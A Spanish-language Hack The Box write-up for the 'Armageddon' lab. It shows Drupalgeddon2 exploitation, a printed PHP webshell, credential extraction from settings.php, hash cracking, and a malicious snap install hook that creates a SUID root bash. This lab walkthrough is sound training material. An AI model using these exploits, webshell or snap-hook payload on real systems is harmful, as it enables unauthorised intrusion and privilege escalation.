Armageddon
Hack The Box — Writeup
Armageddon
| IP: | 10.129.48.89 |
| OS: | Linux |
| Dificultad: | Easy |
| Fecha: | 14 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.48.89 -oG allPorts
# Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Luego de realizar el escaneo de puertos se encontró el puerto 22 (SSH) y puerto 80 (HTTP) abiertos. Se procedió a realizar un escaneo de versiones para determinar el vector principal de ataque.
# Escaneo de versiones
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Armageddon | Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
Hallazgo: en el puerto 80 (HTTP) se identificó que el servicio Apache tiene expuesto el archivo robots.txt, donde se muestran diversos archivos sensibles, como por ejemplo CHANGELOG.txt, al cual se accedió directamente desde el navegador para revisar su contenido.


Se identificó que detrás de Apache corre el servicio Drupal, en su versión 7.56, siendo esta vulnerable. Se procedió a buscar el exploit correspondiente a dicha versión de Drupal.
Enumeración
Enumeración de directorios y archivos
Se realizó un escaneo de directorios y archivos con feroxbuster para
enumerar la estructura completa del sitio.
feroxbuster -u http://10.129.48.89/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt -x txt,php
Hallazgo: el escaneo devolvió cientos de rutas correspondientes a la
estructura estándar del núcleo de Drupal 7 (modules/, themes/,
includes/, profiles/, scripts/), confirmando que se trata de una
instalación de Drupal sin modificaciones aparentes en su estructura de
archivos públicos. De todo el listado, los archivos con mayor valor para
la enumeración fueron:
::: center Ruta Relevancia
/CHANGELOG.txt Confirma versión exacta de Drupal
/UPGRADE.txt Información de versiones soportadas
/install.php Posible reinstalación / reset
/xmlrpc.php Vector histórico de ataques XML-RPC
/sites/default/default.settings.php Plantilla de configuración
/scripts/password-hash.sh Script nativo para generar hashes Drupal
:::
El resto de rutas encontradas (más de 400) correspondían a archivos propios del código fuente público de Drupal 7 (JS, CSS, módulos core, tests unitarios), sin relevancia directa para la explotación.
Búsqueda del exploit correcto para Drupal 7
Hipótesis: confirmada la versión Drupal 7.56 mediante
CHANGELOG.txt, se buscó inicialmente con searchsploit, encontrando
únicamente variantes de Drupalgeddon3, las cuales requieren
autenticación previa — no viable sin credenciales.
searchsploit drupal 7.56
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)
Corrección: se identificó que existe una variante distinta y más conocida, Drupalgeddon2 (CVE-2018-7600, SA-CORE-2018-002), que no requiere autenticación previa, al explotar el sistema de formularios (Form API) de Drupal mediante manipulación de parámetros.
searchsploit drupalgeddon2
Drupal < 7.58 / < 8.3.9 / ... - 'Drupalgeddon2' RCE | php/webapps/44449.rb
Drupal < 8.3.9 / ... - 'Drupalgeddon2' RCE (Metasploit) | php/remote/44482.rb
Drupal < 8.3.9 / ... - 'Drupalgeddon2' RCE (PoC) | php/webapps/44448.py
Intento fallido con PoC en Python (44448.py)
Se probó primero el PoC en Python por ser más liviano que el módulo de Metasploit:
python3 44448.py http://10.129.48.89/
Not exploitable
Porqué no funcionó: al revisar el código fuente del script, se
identificó que la ruta y el payload utilizados
(user/register?element_parents=account/mail/%23value...) corresponden
específicamente a la sintaxis del sistema de formularios de Drupal
8, no de Drupal 7. El objetivo de esta máquina corre Drupal 7.56, por
lo que el script atacaba un endpoint incorrecto para esta versión,
fallando de forma silenciosa.
Explotación
Explotación con el script Ruby (44449.rb)
Se utilizó en su lugar el exploit en Ruby, el cual sí incluye lógica
específica para Drupal 7.x (uso del elemento name con #post_render
sobre el formulario user/password, en lugar del método usado para
Drupal 8).
ruby 44449.rb http://10.129.48.89
[+] Found : http://10.129.48.89/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.56
[*] Testing: Form (user/password)
[+] Result : Form valid
[*] Testing: Code Execution (Method: name)
[+] Result : MLDGULTF
[+] Good News Everyone! Target seems to be exploitable (Code execution)!
Por qué funcionó: el script detectó automáticamente la versión de
Drupal (7.56) y aplicó el método de explotación correcto para esa rama
(name, #post_render, formulario user/password), confirmando
ejecución de código remota al reflejar de vuelta un string aleatorio
generado por el propio script como prueba (echo MLDGULTF).
Escritura de webshell en el webroot
Tras confirmar RCE, el script intentó automáticamente escribir un webshell PHP directamente en la raíz del sitio:
[*] Testing: Writing To Web Root (./)
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
Fake PHP shell: curl 'http://10.129.48.89/shell.php' -d 'c=hostname'
Hallazgo: el script codificó el contenido del webshell en base64 y
lo decodificó directamente en el servidor víctima mediante el mismo RCE
(echo <base64> | base64 -d | tee shell.php), confirmando que el
usuario bajo el cual corre Apache tiene permisos de escritura sobre el
webroot. El webshell resultante (shell.php) acepta comandos
arbitrarios vía el parámetro c, otorgando ejecución de comandos
persistente sin depender del propio exploit en cada interacción.
El script dejó además una consola interactiva propia conectada al webshell:
armageddon.htb>> ls
CHANGELOG.txt
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
shell.php
sites
themes
update.php
web.config
xmlrpc.php
Resultado: se confirmó ejecución de comandos como el usuario bajo el cual corre el servicio web, con acceso completo al sistema de archivos del webroot de Drupal.
Escalada de Privilegios
Obtención de credenciales de sistema
Estando ya con acceso al webshell como apache, se buscó el archivo de
configuración de Drupal en busca de credenciales de base de datos, ya
que Drupal necesita conectarse a MySQL para funcionar.
cat sites/default/settings.php
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
Hallazgo: se obtuvieron credenciales válidas de MySQL. Se verificó qué usuarios del sistema operativo tenían shell interactiva asignada, para evaluar reutilización de contraseñas:
cat /etc/passwd | grep -E "sh$"
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
Crackeo del hash de brucetherealadmin
En lugar de intentar la contraseña de MySQL directamente contra SSH, se
consultó la tabla users de la base de datos Drupal, obteniendo el hash
de contraseña del usuario brucetherealadmin:
brucetherealadmin: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Porqué no funcionó (primer intento): al guardar el hash con echo
usando comillas dobles, bash interpretó cada $ dentro del string como
inicio de una variable de entorno, corrompiendo el hash antes de
guardarlo:
echo "$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt" >> user.txt
Porqué funcionó: se corrigió usando comillas simples, que en bash preservan el texto literal sin expandir variables:
echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > hash.txt
El prefijo $S$ corresponde al formato de hashing propio de Drupal
7 (variante de SHA-512). Se crackeó especificando el formato correcto
en john:
john hash.txt --format=drupal7 --wordlist=/usr/share/seclists/
Passwords/Leaked-Databases/rockyou.txt
booboo (?)
1g 0:00:00:00 DONE
Resultado: contraseña obtenida: booboo. Se confirmó acceso
interactivo por SSH:
ssh [email protected]
Password: booboo
[brucetherealadmin@armageddon ~]$ sudo -l
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
Investigación — Snap y escalada vía hook de instalación
Investigación: Snap es un sistema de gestión de paquetes
universal (creado por Canonical) que permite que un mismo paquete
.snap funcione en distintas distribuciones Linux. Cada paquete puede
incluir hooks: scripts que se ejecutan automáticamente en momentos
específicos del ciclo de vida del paquete (instalación, configuración,
eliminación). Como el comando snap install en sí corre como root (vía
sudo sin contraseña), cualquier hook definido dentro del paquete
también se ejecuta como root.
Se verificó la versión de snap instalada para descartar exploits públicos conocidos:
snap version
snap 2.47.1-1.el7
snapd 2.47.1-1.el7
Porqué no aplicó dirty_sock: el exploit público dirty_sock afecta
versiones de snapd < 2.37. La versión de esta máquina (2.47.1) es
posterior, por lo que se descartó ese exploit y se optó por construir
manualmente un paquete .snap malicioso con un hook de instalación
propio, aprovechando directamente el permiso NOPASSWD sobre
snap install * (sin depender de una vulnerabilidad de software).
Construcción del paquete .snap malicioso
Un archivo .snap es, en esencia, un sistema de archivos tipo
squashfs. Se construyó manualmente sin depender de la herramienta
completa snapcraft, usando mksquashfs (paquete squashfs-tools)
directamente sobre una estructura mínima:
mkdir -p evil/meta/hooks
cd evil
cat > meta/snap.yaml << 'EOF'
name: evil
version: 1.0
summary: evil
description: evil
architectures: [amd64]
confinement: devmode
grade: devel
EOF
cat > meta/hooks/install << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x meta/hooks/install
cd ..
mksquashfs evil evil.snap -noappend -all-root
Primer intento — fallo por sistema de archivos de solo lectura
sudo /usr/bin/snap install evil.snap --devmode --dangerous
error: cannot perform the following tasks:
- Run install hook of "evil" snap (run hook "install":
chmod: changing permissions of '/bin/bash': Read-only file system)
Porqué no funcionó: el hook se ejecutó correctamente como root
(confirmando que el mecanismo era válido), pero / está montado en modo
solo lectura, impidiendo modificar /bin/bash directamente.
Segundo intento — reinstalación silenciosa sin ejecutar el hook
Se modificó el hook para copiar bash a /tmp en lugar de modificar el
binario original:
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
Sin embargo, al reinstalar el paquete (mismo name y version que el
intento anterior), Snap reportó "evil 1.0 installed" sin ejecutar el
hook, y /tmp/rootbash nunca se creó.
Porqué no funcionó: Snap trata un paquete con el mismo nombre y versión que uno ya "instalado" como una operación redundante, sin volver a disparar el hook de instalación.
Corrección: se cambió el nombre y versión del paquete (evilv2,
versión 2.0) para forzar una instalación reconocida como nueva. Aun
así, /tmp/rootbash no se creó, a pesar de no mostrar ningún error esta
vez.
Diagnóstico — confirmación de ejecución del hook
Para descartar que el problema fuera el mecanismo de hooks en general (y
no específico de /tmp), se construyó un paquete de prueba mínimo que
solo escribiera un marcador en el home del usuario:
#!/bin/bash
echo "hook ejecutado" > /home/brucetherealadmin/marker.txt
id >> /home/brucetherealadmin/marker.txt
cat /home/brucetherealadmin/marker.txt
hook ejecutado
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
Hallazgo: el hook sí se ejecuta correctamente como root. El problema
era específico de /tmp (posiblemente sujeto a la misma restricción de
solo lectura o alguna política SELinux que impide crear archivos ahí
mediante este mecanismo), no del mecanismo de hooks en sí.
Ejecución exitosa — escritura en el home del usuario
Se redirigió el hook para escribir directamente en el directorio home de
brucetherealadmin (ya confirmado como escribible):
#!/bin/bash
cp /bin/bash /home/brucetherealadmin/rootbash
chmod +s /home/brucetherealadmin/rootbash
sudo /usr/bin/snap install evil5.snap --devmode --dangerous
evilv5 5.0 installed
ls -la /home/brucetherealadmin/rootbash
-rwsr-sr-x. 1 root root 1037528 Jul 14 07:42 rootbash
/home/brucetherealadmin/rootbash -p
rootbash-4.3# whoami
root
rootbash-4.3# cat /root/root.txt
0eefadb80a46*************a4412da
Por qué funcionó: al copiar /bin/bash a una ruta escribible (el
home del usuario, en lugar de / o /tmp) y asignarle el bit SUID
mediante el hook de instalación ejecutado como root, se obtuvo un
binario bash que, al ejecutarse con la flag -p (preservando
privilegios efectivos), otorga una shell interactiva con privilegios de
root sin necesidad de contraseña adicional.